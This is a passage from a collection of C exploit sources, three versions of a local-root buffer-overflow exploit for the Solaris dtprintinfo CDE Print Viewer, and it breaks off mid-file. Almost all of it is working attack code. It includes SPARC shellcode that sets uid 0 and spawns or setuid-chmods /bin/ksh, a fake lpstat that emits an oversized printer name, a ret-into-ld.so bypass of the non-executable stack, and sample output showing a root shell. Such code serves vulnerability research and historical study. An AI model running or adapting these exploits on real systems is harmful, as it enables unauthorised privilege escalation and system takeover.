184 | /* pad the envp using zeroes */ 185 | if ((strlen(string) + 1) % 4) 186 | for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { 187 | env[env_pos] = string + strlen(string); 188 | env_len++; 189 | } 190 | 191 | return(env_len); 192 | } 193 | 194 | /* 195 | * check_zero(): check an address for the presence of a 0x00 196 | */ 197 | void check_zero(int addr, char *pattern) 198 | { 199 | if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) || 200 | !(addr & 0xff000000)) { 201 | fprintf(stderr, "Error: %s contains a 0x00!\n", pattern); 202 | exit(1); 203 | } 204 | } 205 | 206 | /* 207 | * search_ldso(): search for a symbol inside ld.so.1 208 | */ 209 | int search_ldso(char *sym) 210 | { 211 | int addr; 212 | void *handle; 213 | Link_map *lm; 214 | 215 | /* open the executable object file */ 216 | if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) { 217 | perror("dlopen"); 218 | exit(1); 219 | } 220 | 221 | /* get dynamic load information */ 222 | if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) { 223 | perror("dlinfo"); 224 | exit(1); 225 | } 226 | 227 | /* search for the address of the symbol */ 228 | if ((addr = (int)dlsym(handle, sym)) == NULL) { 229 | fprintf(stderr, "sorry, function %s() not found\n", sym); 230 | exit(1); 231 | } 232 | 233 | /* close the executable object file */ 234 | dlclose(handle); 235 | 236 | check_zero(addr - 4, sym); 237 | return(addr); 238 | } 239 | 240 | /* 241 | * search_rwx_mem(): search for an RWX memory segment valid for all 242 | * programs (typically, /usr/lib/ld.so.1) using the proc filesystem 243 | */ 244 | int search_rwx_mem(void) 245 | { 246 | int fd; 247 | char tmp[16]; 248 | prmap_t map; 249 | int addr = 0, addr_old; 250 | 251 | /* open the proc filesystem */ 252 | sprintf(tmp,"/proc/%d/map", (int)getpid()); 253 | if ((fd = open(tmp, O_RDONLY)) < 0) { 254 | fprintf(stderr, "can't open %s\n", tmp); 255 | exit(1); 256 | } 257 | 258 | /* search for the last RWX memory segment before stack (last - 1) */ 259 | while (read(fd, &map, sizeof(map))) 260 | if (map.pr_vaddr) 261 | if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) { 262 | addr_old = addr; 263 | addr = map.pr_vaddr; 264 | } 265 | close(fd); 266 | 267 | /* add 4 to the exact address NULL bytes */ 268 | if (!(addr_old & 0xff)) 269 | addr_old |= 0x04; 270 | if (!(addr_old & 0xff00)) 271 | addr_old |= 0x0400; 272 | 273 | return(addr_old); 274 | } 275 | 276 | /* 277 | * set_val(): copy a dword inside a buffer (little endian) 278 | */ 279 | void set_val(char *buf, int pos, int val) 280 | { 281 | buf[pos] = (val & 0x000000ff); 282 | buf[pos + 1] = (val & 0x0000ff00) >> 8; 283 | buf[pos + 2] = (val & 0x00ff0000) >> 16; 284 | buf[pos + 3] = (val & 0xff000000) >> 24; 285 | } 286 | -------------------------------------------------------------------------------- /exploits/raptor/raptor_dtprintname_sparc.c: -------------------------------------------------------------------------------- 1 | /* 2 | * raptor_dtprintname_sparc.c - dtprintinfo 0day, Solaris/SPARC 3 | * Copyright (c) 2004-2019 Marco Ivaldi 4 | * 5 | * 0day buffer overflow in the dtprintinfo(1) CDE Print Viewer, leading to 6 | * local root. Many thanks to Dave Aitel for discovering this vulnerability 7 | * and for his interesting research activities on Solaris/SPARC. 8 | * 9 | * "None of my dtprintinfo work is public, other than that 0day pack being 10 | * leaked to all hell and back. It should all basically still work. Let's 11 | * keep it that way, cool? :>" -- Dave Aitel 12 | * 13 | * Usage: 14 | * $ gcc raptor_dtprintname_sparc.c -o raptor_dtprintname_sparc -Wall 15 | * [on your xserver: disable the access control] 16 | * $ ./raptor_dtprintname_sparc 192.168.1.1:0 17 | * [...] 18 | * # id 19 | * uid=0(root) gid=10(staff) 20 | * # 21 | * 22 | * Tested on: 23 | * SunOS 5.7 Generic_106541-21 sun4u sparc SUNW,Ultra-1 24 | * SunOS 5.8 Generic_108528-13 sun4u sparc SUNW,Ultra-5_10 25 | * SunOS 5.9 Generic sun4u sparc SUNW,Ultra-5_10 26 | * [SunOS 5.10 is also vulnerable, the exploit might require some tweaking] 27 | */ 28 | 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | 35 | #define INFO1 "raptor_dtprintname_sparc.c - dtprintinfo 0day, Solaris/SPARC" 36 | #define INFO2 "Copyright (c) 2004-2019 Marco Ivaldi " 37 | 38 | #define VULN "/usr/dt/bin/dtprintinfo" // the vulnerable program 39 | #define BUFSIZE 301 // size of the printer name 40 | 41 | /* voodoo macros */ 42 | #define VOODOO32(_,__,___) {_--;_+=(__+___-1)%4-_%4<0?8-_%4:4-_%4;} 43 | #define VOODOO64(_,__,___) {_+=7-(_+(__+___+1)*4+3)%8;} 44 | 45 | char sc[] = /* Solaris/SPARC shellcode (12 + 12 + 48 = 72 bytes) */ 46 | /* double setuid() */ 47 | "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08" 48 | "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08" 49 | /* execve() */ 50 | "\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20" 51 | "\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14" 52 | "\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh"; 53 | 54 | /* globals */ 55 | char *env[256]; 56 | int env_pos = 0, env_len = 0; 57 | 58 | /* prototypes */ 59 | int add_env(char *string); 60 | void set_val(char *buf, int pos, int val); 61 | 62 | /* 63 | * main() 64 | */ 65 | int main(int argc, char **argv) 66 | { 67 | char buf[BUFSIZE], var[16]; 68 | char platform[256], release[256], display[256]; 69 | int i, offset, ret, var_pos; 70 | int plat_len, prog_len, rel; 71 | 72 | char *arg[2] = {"foo", NULL}; 73 | int arg_len = 4, arg_pos = 1; 74 | 75 | int sb = ((int)argv[0] | 0xffff) & 0xfffffffc; 76 | 77 | /* fake lpstat code */ 78 | if (!strcmp(argv[0], "lpstat")) { 79 | 80 | /* check command line */ 81 | if (argc != 2) 82 | exit(1); 83 | 84 | /* get ret address from environment */ 85 | ret = (int)strtoul(getenv("RET"), (char **)NULL, 0); 86 | 87 | /* prepare the evil printer name */ 88 | memset(buf, 'A', sizeof(buf)); 89 | buf[sizeof(buf) - 1] = 0x0; 90 | 91 | /* fill with return address */ 92 | for (i = 0; i < BUFSIZE; i += 4) 93 | set_val(buf, i, ret - 8); 94 | 95 | /* print the expected output and exit */ 96 | if(!strcmp(argv[1], "-v")) { 97 | fprintf(stderr, "lpstat called with -v\n"); 98 | printf("device for %s: /dev/null\n", buf); 99 | } else { 100 | fprintf(stderr, "lpstat called with -d\n"); 101 | printf("system default destination: %s\n", buf); 102 | } 103 | exit(0); 104 | } 105 | 106 | /* print exploit information */ 107 | fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); 108 | 109 | /* read command line */ 110 | if (argc != 2) { 111 | fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]); 112 | exit(1); 113 | } 114 | sprintf(display, "DISPLAY=%s", argv[1]); 115 | 116 | /* get some system information */ 117 | sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); 118 | sysinfo(SI_RELEASE, release, sizeof(release) - 1); 119 | rel = atoi(release + 2); 120 | 121 | /* fill the envp, keeping padding */ 122 | add_env(sc); 123 | var_pos = env_pos; 124 | add_env("RET=0x41414141"); 125 | add_env(display); 126 | add_env("PATH=.:/usr/bin"); 127 | add_env("HOME=/tmp"); 128 | add_env(NULL); 129 | 130 | /* calculate the offset to argv[0] (voodoo magic) */ 131 | plat_len = strlen(platform) + 1; 132 | prog_len = strlen(VULN) + 1; 133 | offset = arg_len + env_len + plat_len + prog_len; 134 | if (rel > 7) 135 | VOODOO64(offset, arg_pos, env_pos) 136 | else 137 | VOODOO32(offset, plat_len, prog_len) 138 | 139 | /* calculate the needed addresses */ 140 | ret = sb - offset + arg_len; 141 | 142 | /* overwrite the RET env var with the right ret address */ 143 | sprintf(var, "RET=0x%x", ret); 144 | env[var_pos] = var; 145 | 146 | /* create a symlink for the fake lpstat */ 147 | unlink("lpstat"); 148 | symlink(argv[0], "lpstat"); 149 | 150 | /* print some output */ 151 | fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release); 152 | fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb); 153 | fprintf(stderr, "Using ret address\t: 0x%p\n\n", (void *)ret); 154 | 155 | /* run the vulnerable program */ 156 | execve(VULN, arg, env); 157 | perror("execve"); 158 | exit(0); 159 | } 160 | 161 | /* 162 | * add_env(): add a variable to envp and pad if needed 163 | */ 164 | int add_env(char *string) 165 | { 166 | int i; 167 | 168 | /* null termination */ 169 | if (!string) { 170 | env[env_pos] = NULL; 171 | return(env_len); 172 | } 173 | 174 | /* add the variable to envp */ 175 | env[env_pos] = string; 176 | env_len += strlen(string) + 1; 177 | env_pos++; 178 | 179 | /* pad the envp using zeroes */ 180 | if ((strlen(string) + 1) % 4) 181 | for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { 182 | env[env_pos] = string + strlen(string); 183 | env_len++; 184 | } 185 | 186 | return(env_len); 187 | } 188 | 189 | /* 190 | * set_val(): copy a dword inside a buffer 191 | */ 192 | void set_val(char *buf, int pos, int val) 193 | { 194 | buf[pos] = (val & 0xff000000) >> 24; 195 | buf[pos + 1] = (val & 0x00ff0000) >> 16; 196 | buf[pos + 2] = (val & 0x0000ff00) >> 8; 197 | buf[pos + 3] = (val & 0x000000ff); 198 | } 199 | -------------------------------------------------------------------------------- /exploits/raptor/raptor_dtprintname_sparc2.c: -------------------------------------------------------------------------------- 1 | /* 2 | * raptor_dtprintname_sparc2.c - dtprintinfo 0day, Solaris/SPARC 3 | * Copyright (c) 2004-2019 Marco Ivaldi 4 | * 5 | * 0day buffer overflow in the dtprintinfo(1) CDE Print Viewer, leading to 6 | * local root. Many thanks to Dave Aitel for discovering this vulnerability 7 | * and for his interesting research activities on Solaris/SPARC. 8 | * 9 | * "None of my dtprintinfo work is public, other than that 0day pack being 10 | * leaked to all hell and back. It should all basically still work. Let's 11 | * keep it that way, cool? :>" -- Dave Aitel 12 | * 13 | * This is the ret-into-ld.so version of raptor_dtprintname_sparc.c, able 14 | * to bypass the non-executable stack protection (noexec_user_stack=1 in 15 | * /etc/system). 16 | * 17 | * NOTE. If experiencing troubles with null-bytes inside the ld.so.1 memory 18 | * space, use sprintf() instead of strcpy() (tested on some Solaris 7 boxes). 19 | * 20 | * Usage: 21 | * $ gcc raptor_dtprintname_sparc2.c -o raptor_dtprintname_sparc2 -ldl -Wall 22 | * [on your xserver: disable the access control] 23 | * $ ./raptor_dtprintname_sparc2 192.168.1.1:0 24 | * [...] 25 | * # id 26 | * uid=0(root) gid=10(staff) 27 | * # 28 | * 29 | * Tested on: 30 | * SunOS 5.7 Generic_106541-21 sun4u sparc SUNW,Ultra-1 31 | * SunOS 5.8 Generic_108528-13 sun4u sparc SUNW,Ultra-5_10 32 | * SunOS 5.9 Generic sun4u sparc SUNW,Ultra-5_10 33 | * [SunOS 5.10 is also vulnerable, the exploit might require some tweaking] 34 | */ 35 | 36 | #include 37 | #include 38 | #include 39 | #include 40 | #include 41 | #include 42 | #include 43 | #include 44 | #include 45 | 46 | #define INFO1 "raptor_dtprintname_sparc2.c - dtprintinfo 0day, Solaris/SPARC" 47 | #define INFO2 "Copyright (c) 2004-2019 Marco Ivaldi " 48 | 49 | #define VULN "/usr/dt/bin/dtprintinfo" // the vulnerable program 50 | #define BUFSIZE 301 // size of the printer name 51 | #define FFSIZE 64 + 1 // size of the fake frame 52 | #define DUMMY 0xdeadbeef // dummy memory address 53 | 54 | /* voodoo macros */ 55 | #define VOODOO32(_,__,___) {_--;_+=(__+___-1)%4-_%4<0?8-_%4:4-_%4;} 56 | #define VOODOO64(_,__,___) {_+=7-(_+(__+___+1)*4+3)%8;} 57 | 58 | char sc[] = /* Solaris/SPARC shellcode (12 + 12 + 48 = 72 bytes) */ 59 | /* double setuid() */ 60 | "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08" 61 | "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08" 62 | /* execve() */ 63 | "\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20" 64 | "\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14" 65 | "\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh"; 66 | 67 | /* globals */ 68 | char *env[256]; 69 | int env_pos = 0, env_len = 0; 70 | 71 | /* prototypes */ 72 | int add_env(char *string); 73 | void check_zero(int addr, char *pattern); 74 | int search_ldso(char *sym); 75 | int search_rwx_mem(void); 76 | void set_val(char *buf, int pos, int val); 77 | 78 | /* 79 | * main() 80 | */ 81 | int main(int argc, char **argv) 82 | { 83 | char buf[BUFSIZE], ff[FFSIZE], ret_var[16], fpt_var[16]; 84 | char platform[256], release[256], display[256]; 85 | int i, offset, ff_addr, sc_addr, ret_pos, fpt_pos; 86 | int plat_len, prog_len, rel; 87 | 88 | char *arg[2] = {"foo", NULL}; 89 | int arg_len = 4, arg_pos = 1; 90 | 91 | int sb = ((int)argv[0] | 0xffff) & 0xfffffffc; 92 | int ret = search_ldso("strcpy"); /* or sprintf */ 93 | int rwx_mem = search_rwx_mem(); 94 | 95 | /* fake lpstat code */ 96 | if (!strcmp(argv[0], "lpstat")) { 97 | 98 | /* check command line */ 99 | if (argc != 2) 100 | exit(1); 101 | 102 | /* get ret and fake frame addresses from environment */ 103 | ret = (int)strtoul(getenv("RET"), (char **)NULL, 0); 104 | ff_addr = (int)strtoul(getenv("FPT"), (char **)NULL, 0); 105 | 106 | /* prepare the evil printer name */ 107 | memset(buf, 'A', sizeof(buf)); 108 | buf[sizeof(buf) - 1] = 0x0; 109 | 110 | /* fill with return and fake frame addresses */ 111 | for (i = 0; i < BUFSIZE; i += 4) { 112 | /* apparently, we don't need to bruteforce */ 113 | set_val(buf, i, ret - 4); 114 | set_val(buf, i += 4, ff_addr); 115 | } 116 | 117 | /* print the expected output and exit */ 118 | if(!strcmp(argv[1], "-v")) { 119 | fprintf(stderr, "lpstat called with -v\n"); 120 | printf("device for %s: /dev/null\n", buf); 121 | } else { 122 | fprintf(stderr, "lpstat called with -d\n"); 123 | printf("system default destination: %s\n", buf); 124 | } 125 | exit(0); 126 | } 127 | 128 | /* print exploit information */ 129 | fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); 130 | 131 | /* read command line */ 132 | if (argc != 2) { 133 | fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]); 134 | exit(1); 135 | } 136 | sprintf(display, "DISPLAY=%s", argv[1]); 137 | 138 | /* get some system information */ 139 | sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); 140 | sysinfo(SI_RELEASE, release, sizeof(release) - 1); 141 | rel = atoi(release + 2); 142 | 143 | /* prepare the fake frame */ 144 | bzero(ff, sizeof(ff)); 145 | 146 | /* 147 | * saved %l registers 148 | */ 149 | set_val(ff, i = 0, DUMMY); /* %l0 */ 150 | set_val(ff, i += 4, DUMMY); /* %l1 */ 151 | set_val(ff, i += 4, DUMMY); /* %l2 */ 152 | set_val(ff, i += 4, DUMMY); /* %l3 */ 153 | set_val(ff, i += 4, DUMMY); /* %l4 */ 154 | set_val(ff, i += 4, DUMMY); /* %l5 */ 155 | set_val(ff, i += 4, DUMMY); /* %l6 */ 156 | set_val(ff, i += 4, DUMMY); /* %l7 */ 157 | 158 | /* 159 | * saved %i registers 160 | */ 161 | set_val(ff, i += 4, rwx_mem); /* %i0: 1st arg to strcpy() */ 162 | set_val(ff, i += 4, 0x42424242); /* %i1: 2nd arg to strcpy() */ 163 | set_val(ff, i += 4, DUMMY); /* %i2 */ 164 | set_val(ff, i += 4, DUMMY); /* %i3 */ 165 | set_val(ff, i += 4, DUMMY); /* %i4 */ 166 | set_val(ff, i += 4, DUMMY); /* %i5 */ 167 | set_val(ff, i += 4, sb - 1000); /* %i6: frame pointer */ 168 | set_val(ff, i += 4, rwx_mem - 8); /* %i7: return address */ 169 | 170 | /* fill the envp, keeping padding */ 171 | sc_addr = add_env(ff); 172 | add_env(sc); 173 | ret_pos = env_pos; 174 | add_env("RET=0x41414141"); 175 | fpt_pos = env_pos; 176 | add_env("FPT=0x42424242"); 177 | add_env(display); 178 | add_env("PATH=.:/usr/bin"); 179 | add_env("HOME=/tmp"); 180 | add_env(NULL); 181 | 182 | /* calculate the offset to argv[0] (voodoo magic) */ 183 | plat_len = strlen(platform) + 1; 184 | prog_len = strlen(VULN) + 1; 185 | offset = arg_len + env_len + plat_len + prog_len; 186 | if (rel > 7) 187 | VOODOO64(offset, arg_pos, env_pos) 188 | else 189 | VOODOO32(offset, plat_len, prog_len) 190 | 191 | /* calculate the needed addresses */ 192 | ff_addr = sb - offset + arg_len; 193 | sc_addr += ff_addr; 194 | 195 | /* set fake frame's %i1 */ 196 | set_val(ff, 36, sc_addr); /* 2nd arg to strcpy() */ 197 | 198 | /* overwrite RET and FPT env vars with the right addresses */ 199 | sprintf(ret_var, "RET=0x%x", ret); 200 | env[ret_pos] = ret_var; 201 | sprintf(fpt_var, "FPT=0x%x", ff_addr); 202 | env[fpt_pos] = fpt_var; 203 | 204 | /* create a symlink for the fake lpstat */ 205 | unlink("lpstat"); 206 | symlink(argv[0], "lpstat"); 207 | 208 | /* print some output */ 209 | fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release); 210 | fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb); 211 | fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem); 212 | fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr); 213 | fprintf(stderr, "Using ff address\t: 0x%p\n", (void *)ff_addr); 214 | fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret); 215 | 216 | /* run the vulnerable program */ 217 | execve(VULN, arg, env); 218 | perror("execve"); 219 | exit(0); 220 | } 221 | 222 | /* 223 | * add_env(): add a variable to envp and pad if needed 224 | */ 225 | int add_env(char *string) 226 | { 227 | int i; 228 | 229 | /* null termination */ 230 | if (!string) { 231 | env[env_pos] = NULL; 232 | return(env_len); 233 | } 234 | 235 | /* add the variable to envp */ 236 | env[env_pos] = string; 237 | env_len += strlen(string) + 1; 238 | env_pos++; 239 | 240 | /* pad the envp using zeroes */ 241 | if ((strlen(string) + 1) % 4) 242 | for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { 243 | env[env_pos] = string + strlen(string); 244 | env_len++; 245 | } 246 | 247 | return(env_len); 248 | } 249 | 250 | /* 251 | * check_zero(): check an address for the presence of a 0x00 252 | */ 253 | void check_zero(int addr, char *pattern) 254 | { 255 | if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) || 256 | !(addr & 0xff000000)) { 257 | fprintf(stderr, "Error: %s contains a 0x00!\n", pattern); 258 | exit(1); 259 | } 260 | } 261 | 262 | /* 263 | * search_ldso(): search for a symbol inside ld.so.1 264 | */ 265 | int search_ldso(char *sym) 266 | { 267 | int addr; 268 | void *handle; 269 | Link_map *lm; 270 | 271 | /* open the executable object file */ 272 | if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) { 273 | perror("dlopen"); 274 | exit(1); 275 | } 276 | 277 | /* get dynamic load information */ 278 | if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) { 279 | perror("dlinfo"); 280 | exit(1); 281 | } 282 | 283 | /* search for the address of the symbol */ 284 | if ((addr = (int)dlsym(handle, sym)) == NULL) { 285 | fprintf(stderr, "sorry, function %s() not found\n", sym); 286 | exit(1); 287 | } 288 | 289 | /* close the executable object file */ 290 | dlclose(handle); 291 | 292 | check_zero(addr - 4, sym); 293 | return(addr); 294 | } 295 | 296 | /* 297 | * search_rwx_mem(): search for an RWX memory segment valid for all 298 | * programs (typically, /usr/lib/ld.so.1) using the proc filesystem 299 | */ 300 | int search_rwx_mem(void) 301 | { 302 | int fd; 303 | char tmp[16]; 304 | prmap_t map; 305 | int addr = 0, addr_old; 306 | 307 | /* open the proc filesystem */ 308 | sprintf(tmp,"/proc/%d/map", (int)getpid()); 309 | if ((fd = open(tmp, O_RDONLY)) < 0) { 310 | fprintf(stderr, "can't open %s\n", tmp); 311 | exit(1); 312 | } 313 | 314 | /* search for the last RWX memory segment before stack (last - 1) */ 315 | while (read(fd, &map, sizeof(map))) 316 | if (map.pr_vaddr) 317 | if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) { 318 | addr_old = addr; 319 | addr = map.pr_vaddr; 320 | } 321 | close(fd); 322 | 323 | /* add 4 to the exact address NULL bytes */ 324 | if (!(addr_old & 0xff)) 325 | addr_old |= 0x04; 326 | if (!(addr_old & 0xff00)) 327 | addr_old |= 0x0400; 328 | 329 | return(addr_old); 330 | } 331 | 332 | /* 333 | * set_val(): copy a dword inside a buffer 334 | */ 335 | void set_val(char *buf, int pos, int val) 336 | { 337 | buf[pos] = (val & 0xff000000) >> 24; 338 | buf[pos + 1] = (val & 0x00ff0000) >> 16; 339 | buf[pos + 2] = (val & 0x0000ff00) >> 8; 340 | buf[pos + 3] = (val & 0x000000ff); 341 | } 342 | -------------------------------------------------------------------------------- /exploits/raptor/raptor_dtprintname_sparc3.c: -------------------------------------------------------------------------------- 1 | /* 2 | * raptor_dtprintname_sparc3.c - dtprintinfo on Solaris 10 SPARC 3 | * Copyright (c) 2004-2020 Marco Ivaldi 4 | * 5 | * 0day buffer overflow in the dtprintinfo(1) CDE Print Viewer, leading to 6 | * local root. Many thanks to Dave Aitel for discovering this vulnerability 7 | * and for his interesting research activities on Solaris/SPARC. 8 | * 9 | * "None of my dtprintinfo work is public, other than that 0day pack being 10 | * leaked to all hell and back. It should all basically still work. Let's 11 | * keep it that way, cool? :>" -- Dave Aitel 12 | * 13 | * This is a revised version of my original exploit that should work on 14 | * modern Solaris 10 SPARC boxes. I had to figure out a new way to obtain 15 | * the needed addresses that's hopefully universal (goodbye VOODOO macros!). 16 | * and I had to work around some annoying crashes, which led me to write 17 | * a custom shellcode that makes /bin/ksh setuid. Crude but effective;) 18 | * If you feel brave, you can also try my experimental exec shellcode, for 19 | * SPARC V8 plus and above architectures only ("It works on my computer!"). 20 | * 21 | * I'm developing my exploits on a Solaris 10 Branded Zone and I strongly 22 | * suspect this is the reason for the weird behavior in the execution of 23 | * standard SYS_exec shellcodes, because the crash happens in s10_brand.so.1, 24 | * in the strncmp() function called by brand_uucopystr(). If that's indeed 25 | * the case, any shellcode (including lsd-pl.net's classic shellcode) should 26 | * work on physical systems and I just spent a non-neglibible amount of time 27 | * debugging this for no valid reason but my love of hacking... Oh well! 28 | * 29 | * Usage: 30 | * $ gcc raptor_dtprintname_sparc3.c -o raptor_dtprintname_sparc3 -Wall 31 | * [on your xserver: disable the access control] 32 | * $ ./raptor_dtprintname_sparc3 10.0.0.122:0 33 | * [...] 34 | * $ ls -l /bin/ksh 35 | * -rwsrwsrwx 3 root bin 209288 Feb 21 2012 /bin/ksh 36 | * $ /bin/ksh 37 | * # id 38 | * uid=100(user) gid=1(other) euid=0(root) egid=2(bin) 39 | * # 40 | * 41 | * Tested on: 42 | * SunOS 5.10 Generic_Virtual sun4u sparc SUNW,SPARC-Enterprise (Solaris 10 1/13) 43 | */ 44 | 45 | #include 46 | #include 47 | #include 48 | #include 49 | #include 50 | #include 51 | #include 52 | #include 53 | 54 | #define INFO1 "raptor_dtprintname_sparc3.c - dtprintinfo on Solaris 10 SPARC" 55 | #define INFO2 "Copyright (c) 2004-2020 Marco Ivaldi " 56 | 57 | #define VULN "/usr/dt/bin/dtprintinfo" // the vulnerable program 58 | #define BUFSIZE 301 // size of the printer name 59 | #define FFSIZE 64 + 1 // size of the fake frame 60 | #define DUMMY 0xdeadbeef // dummy memory address 61 | 62 | //#define USE_EXEC_SC // uncomment to use exec shellcode 63 | 64 | #ifdef USE_EXEC_SC 65 | char sc[] = /* Solaris/SPARC execve() shellcode (12 + 48 = 60 bytes) */ 66 | /* setuid(0) */ 67 | "\x90\x08\x3f\xff" /* and %g0, -1, %o0 */ 68 | "\x82\x10\x20\x17" /* mov 0x17, %g1 */ 69 | "\x91\xd0\x20\x08" /* ta 8 */ 70 | /* execve("/bin/ksh", argv, NULL) */ 71 | "\x9f\x41\x40\x01" /* rd %pc,%o7 ! >= sparcv8+ */ 72 | "\x90\x03\xe0\x28" /* add %o7, 0x28, %o0 */ 73 | "\x92\x02\x20\x10" /* add %o0, 0x10, %o1 */ 74 | "\xc0\x22\x20\x08" /* clr [ %o0 + 8 ] */ 75 | "\xd0\x22\x20\x10" /* st %o0, [ %o0 + 0x10 ] */ 76 | "\xc0\x22\x20\x14" /* clr [ %o0 + 0x14 ] */ 77 | "\x82\x10\x20\x0b" /* mov 0xb, %g1 */ 78 | "\x91\xd0\x20\x08" /* ta 8 */ 79 | "\x80\x1c\x40\x11" /* xor %l1, %l1, %g0 ! nop */ 80 | "\x41\x41\x41\x41" /* placeholder */ 81 | "/bin/ksh"; 82 | #else 83 | char sc[] = /* Solaris/SPARC chmod() shellcode (12 + 32 + 20 = 64 bytes) */ 84 | /* setuid(0) */ 85 | "\x90\x08\x3f\xff" /* and %g0, -1, %o0 */ 86 | "\x82\x10\x20\x17" /* mov 0x17, %g1 */ 87 | "\x91\xd0\x20\x08" /* ta 8 */ 88 | /* chmod("/bin/ksh", 037777777777) */ 89 | "\x92\x20\x20\x01" /* sub %g0, 1, %o1 */ 90 | "\x20\xbf\xff\xff" /* bn,a */ 91 | "\x20\xbf\xff\xff" /* bn,a */ 92 | "\x7f\xff\xff\xff" /* call */ 93 | "\x90\x03\xe0\x20" /* add %o7, 0x20, %o0 */ 94 | "\xc0\x22\x20\x08" /* clr [ %o0 + 8 ] */ 95 | "\x82\x10\x20\x0f" /* mov 0xf, %g1 */ 96 | "\x91\xd0\x20\x08" /* ta 8 */ 97 | /* exit(0) */ 98 | "\x90\x08\x3f\xff" /* and %g0, -1, %o0 */ 99 | "\x82\x10\x20\x01" /* mov 1, %g1 */ 100 | "\x91\xd0\x20\x08" /* ta 8 */ 101 | "/bin/ksh"; 102 | #endif /* USE_EXEC_SC */ 103 | 104 | /* globals */ 105 | char *arg[2] = {"foo", NULL}; 106 | char *env[256]; 107 | int env_pos = 0, env_len = 0; 108 | 109 | /* prototypes */ 110 | int add_env(char *string); 111 | void check_zero(int addr, char *pattern); 112 | int get_ff_addr(char *path, char **argv); 113 | int search_ldso(char *sym); 114 | int search_rwx_mem(void); 115 | void set_val(char *buf, int pos, int val); 116 | 117 | /* 118 | * main() 119 | */ 120 | int main(int argc, char **argv) 121 | { 122 | char buf[BUFSIZE], ff[FFSIZE], ret_var[16], fpt_var[16]; 123 | char platform[256], release[256], display[256]; 124 | int i, ff_addr, sc_addr, ret_pos, fpt_pos; 125 | 126 | int sb = ((int)argv[0] | 0xffff) & 0xfffffffc; 127 | int ret = search_ldso("sprintf"); 128 | int rwx_mem = search_rwx_mem() + 24; /* stable address */ 129 | 130 | /* fake lpstat code */ 131 | if (!strcmp(argv[0], "lpstat")) { 132 | 133 | /* check command line */ 134 | if (argc != 2) 135 | exit(1); 136 | 137 | /* get ret and fake frame addresses from environment */ 138 | ret = (int)strtoul(getenv("RET"), (char **)NULL, 0); 139 | ff_addr = (int)strtoul(getenv("FPT"), (char **)NULL, 0); 140 | 141 | /* prepare the evil printer name */ 142 | memset(buf, 'A', sizeof(buf)); 143 | buf[sizeof(buf) - 1] = 0x0; 144 | 145 | /* fill with return and fake frame addresses */ 146 | for (i = 0; i < BUFSIZE; i += 4) { 147 | /* apparently, we don't need to bruteforce */ 148 | set_val(buf, i, ret - 4); 149 | set_val(buf, i += 4, ff_addr); 150 | } 151 | 152 | /* print the expected output and exit */ 153 | if(!strcmp(argv[1], "-v")) { 154 | fprintf(stderr, "lpstat called with -v\n"); 155 | printf("device for %s: /dev/null\n", buf); 156 | } else { 157 | fprintf(stderr, "lpstat called with -d\n"); 158 | printf("system default destination: %s\n", buf); 159 | } 160 | exit(0); 161 | } 162 | 163 | /* helper program that prints argv[0] address, used by get_ff_addr() */ 164 | if (!strcmp(argv[0], "foo")) { 165 | printf("0x%p\n", argv[0]); 166 | exit(0); 167 | } 168 | 169 | /* print exploit information */ 170 | fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); 171 | 172 | /* process command line */ 173 | if (argc != 2) { 174 | #ifdef USE_EXEC_SC 175 | fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]); 176 | #else 177 | fprintf(stderr, "usage:\n$ %s xserver:display\n$ /bin/ksh\n\n", argv[0]); 178 | #endif /* USE_EXEC_SC */ 179 | exit(1); 180 | } 181 | sprintf(display, "DISPLAY=%s", argv[1]); 182 | 183 | /* prepare the fake frame */ 184 | bzero(ff, sizeof(ff)); 185 | for (i = 0; i < 64; i += 4) { 186 | set_val(ff, i, DUMMY); 187 | } 188 | 189 | /* fill the envp, keeping padding */ 190 | sc_addr = add_env(ff); 191 | add_env(sc); 192 | ret_pos = env_pos; 193 | add_env("RET=0x41414141"); /* placeholder */ 194 | fpt_pos = env_pos; 195 | add_env("FPT=0x42424242"); /* placeholder */ 196 | add_env(display); 197 | add_env("PATH=.:/usr/bin"); 198 | add_env("HOME=/tmp"); 199 | add_env(NULL); 200 | 201 | /* calculate the needed addresses */ 202 | ff_addr = get_ff_addr(VULN, argv); 203 | sc_addr 